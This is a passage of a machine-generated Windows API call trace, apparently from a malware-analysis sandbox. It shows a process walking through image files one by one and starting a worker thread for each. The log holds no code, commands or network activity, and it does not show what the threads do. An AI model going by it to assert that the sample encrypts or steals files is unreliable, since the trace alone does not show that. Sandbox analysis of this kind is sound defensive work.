	[0248.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2490
	[0248.322] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.323] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1
	[0248.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2494
	[0248.325] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.325] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1
	[0248.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2498
	[0248.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.327] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1
	[0248.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x249c
	[0248.330] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.330] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1
	[0248.331] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a0
	[0248.333] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.333] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1
	[0248.334] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a4
	[0248.335] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.336] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1
	[0248.336] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a8
	[0248.338] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.339] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1
	[0248.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24ac
	[0248.340] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.341] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1
	[0248.341] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b0
	[0248.343] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.344] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1
	[0248.344] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b4
	[0248.605] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.606] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1
	[0248.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b8
	[0248.607] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.608] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1
	[0248.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24bc
	[0248.610] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.610] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1
	[0248.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c0
	[0248.612] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.612] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe489ed00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe489ed00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1
	[0248.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c4
	[0248.614] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.615] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65001c00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1
	[0248.615] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c8
	[0248.617] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.617] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1
	[0248.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24cc
	[0248.619] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.620] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1
	[0248.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d0
	[0248.622] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.622] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1
	[0248.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d4
	[0248.624] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.625] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1
	[0248.625] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24d8
	[0248.626] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.627] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1
	[0248.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24dc
	[0248.629] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.629] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1
	[0248.630] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e0
	[0248.632] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.633] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca500f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca500f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xc382, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02752G.GIF", cAlternateFileName="")) returned 1
	[0248.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e4
	[0248.634] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.635] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88769700, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88769700, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02752U.BMP", cAlternateFileName="")) returned 1
	[0248.635] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e8
	[0248.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.637] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xece62600, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xece62600, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02753U.BMP", cAlternateFileName="")) returned 1
	[0248.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24ec
	[0248.906] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.907] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1
	[0248.907] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24f0
	[0248.909] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.910] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1
	[0248.910] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24f4
	[0248.912] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.912] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1
	[0248.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0248.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24f8
	[0248.914] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.914] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1
